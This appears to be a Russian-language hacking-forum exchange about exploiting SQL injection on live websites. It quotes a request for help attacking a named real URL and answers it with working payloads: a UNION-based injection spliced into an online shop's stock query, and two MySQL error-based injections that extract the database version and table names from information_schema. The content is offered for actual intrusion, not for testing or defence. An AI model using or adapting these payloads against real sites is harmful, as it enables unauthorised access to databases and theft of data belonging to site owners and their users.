Чувствую я, что у вас в поиске скуля. Разделение по пробелу. Без пробела:
Цитата:
Сообщение от None
SELECT s.stock_id, sd.name, sd.address, sd.surname, s.seek, (SELECT IFNULL(SUM(qty),0) FROM oc_stock_product_quantity WHERE stock_id = s.stock_id AND product_id = ' -666')-555*-(1)as`qty`FROM(SELECT(1)stock_id,(2)seek)`s`JOIN(SELECT(3)name,(4)address,(5)surname)sd%23
') as qty FROM oc_stock s LEFT JOIN oc_stock_description sd ON (s.stock_id = sd.stock_id) WHERE sd.language_id = '1' AND s.hidden = 0 AND s.sp != 1 AND s.stock_id IN (SELECT st2s.stock_id FROM oc_stock_to_organization AS st2s LEFT JOIN oc_organization_to_store o2s ON (st2s.organization_id = o2s.organization_id) WHERE o2s.store_id = 0) ORDER BY s.sort_order
Цитата:
Сообщение от noviks
помогите раскрутить http:// www.paid2earn.de/img/media.php?art=1'' MySQL error based
5*(SELECT 1 FROM information_schema.tables WHERE 1 or 1 group by mid(version() from rand(0) for 9e9) having min(0))
5*(SELECT 1 FROMinformation_schema.tables WHERE 1 group by concat((SELECT ifnull(TABLE_NAME,0) FROM information_schema.tablesLIMIT 1), floor(rand(0)*2)) having min(0))